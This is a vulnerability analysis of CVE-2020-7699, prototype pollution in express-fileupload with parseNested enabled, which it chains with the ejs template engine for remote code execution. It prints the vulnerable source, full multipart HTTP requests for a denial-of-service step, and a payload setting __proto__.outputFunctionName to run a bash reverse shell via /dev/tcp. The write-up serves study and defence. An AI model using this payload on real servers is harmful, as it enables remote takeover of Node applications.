CVE-2020-7699 vulnerability analysis
1. Introduction
CVE-2020-7699: NodeJS module code injection
The vulnerability is entirely caused by the express-fileupload module of Nodejs. The version of the module before 1.1.8 has a prototype chain pollution (Prototype Pollution) vulnerability. Of course, to cause this vulnerability, certain configuration is required: the parseNested option is set to true
This vulnerability can cause a DOS denial of service attack. With the ejs template engine, the purpose of RCE can be achieved.
2. Vulnerability source code analysis
If you want to reproduce, you need to download the low version express-fileupload module
npm i [email protected]
The source code that caused the vulnerability: (key part)
busboy.on('finish', () => {
debugLog(options, `Busboy finished parsing request.`);
if (options.parseNested) {
req.body = processNested(req.body);
req.files = processNested(req.files);
}
if (!req[waitFlushProperty]) return next();
Promise.all(req[waitFlushProperty])
.then(() => {
delete req[waitFlushProperty];
next();
}).catch(err => {
delete req[waitFlushProperty];
debugLog(options, `Error while waiting files flush: ${err}`);
next(err);
});
});
function processNested(data){
if (!data || data.length < 1) return {};
let d = {},
keys = Object.keys(data); //获取键名,列表
for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key
.replace(new RegExp(/\[/g), '.')
.replace(new RegExp(/\]/g), '')
.split('.');
for (let index = 0; index < keyParts.length; index++){
let k = keyParts[index];
if (index >= keyParts.length - 1){
current[k] = value;
} else {
if (!current[k])
current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k];
}
}
}
return d;
};
In fact, the source of pollution in the prototype chain lies in the porcessNested method. The usage of this function:
例如:
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } }
其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w
At this point, it is relatively clear that as long as the function processNested is called, and if the parameters of the function are controllable, the purpose of prototype chain pollution can be achieved. Therefore, here we will introduce the prerequisites for the formation of the vulnerability. The parseNested configuration option should be set to true, for example:
const fileUpload = require('express-fileUpload')
var express = require('express')
app = express()
app.use(fileUpload({ parseNested: true }))
app.get('/',(req,res)=>{
res.end("m1sn0w")
})
Observe the first part of the code at the top, if the parseNested parameter is true, call the processNested function, and the parameter is req.body or req.files
req.body is nodejs parsing the post request body, req.files gets the information of uploaded files
Both methods are fine. Here first use the req.files parameter (req.body will be used in the following RCE)
Regarding the req.files parameter, for example: POST request to upload files
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 336
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
-----------------------------1546646991721295948201928333--
It can be observed that the value of req.files is:
{ upload:
{ name: 'm1sn0w.txt',
data: <Buffer 61 61 61 0a>,
size: 4,
encoding: '7bit',
tempFilePath: '',
truncated: false,
mimetype: 'text/plain',
md5:'......'
mv: [Function: mv]
}
}
Change the upluod parameter above to
__proto__.toString
那么结果就会变回:
{
__proto__.toString:{
......
}
}
Since parseNested is set, the processNested function is automatically called, which causes pollution of the prototype chain.
Is equivalent to:
{}[__proto__][toString] = { ...... }
When we visit the page again, an error of 500 will be returned (because the toString method has changed)
Three, use ejs for RCE
There is a loophole in the ejs template engine that uses prototype pollution to perform RCE (this loophole has not yet been fixed, probably because the prerequisite for exploitation is that there must be a point of prototype chain pollution)
First analyze the source code that caused this vulnerability by ejs: (The key part is extracted here)
compile: function () {
/** @type {string} */
var src;
/** @type {ClientFunction} */
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
/** @type {EscapeCallback} */
var escapeFn = opts.escapeFunction;
/** @type {FunctionConstructor} */
var ctor;
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}
}
src = this.source
ctor = Function
fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);
fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);
It can be analyzed from bottom to top:
- The fn method is called, if the src parameter is controllable, then the function can be customized;
- The value of the src parameter comes from this.source
- From the top method, this.source = prepended + this.source + appended
In fact, the entire function above is splicing this.source, and the most critical part is here:
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
}
It is actually this:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
Through global analysis, opts.outputFunctionName was not assigned a value initially. If there is a prototype chain pollution vulnerability, we can customize this value to construct the payload:
opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x
Take a closer look, why do you want x; start with x and end? In fact, the above splicing constitutes a complete js statement
Now let's take a look at how to use ejs to reach RCE through the above prototype chain pollution
Here is req.body instead of req.files
For example, here is a POST request:
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 339
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
123
-----------------------------1546646991721295948201928333--
What is returned by req.body is
{ username : '123' }
We change the username above to
__proto__.outputFunctionName
Change the value of 123 to:
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
When we initiate a request again, we will bounce back a shell on the specified host, so as to achieve the purpose of RCE
Reference link:
https://blog.p6.is/Real-World-JS-1/
https://xz.aliyun.com/t/7075#toc-3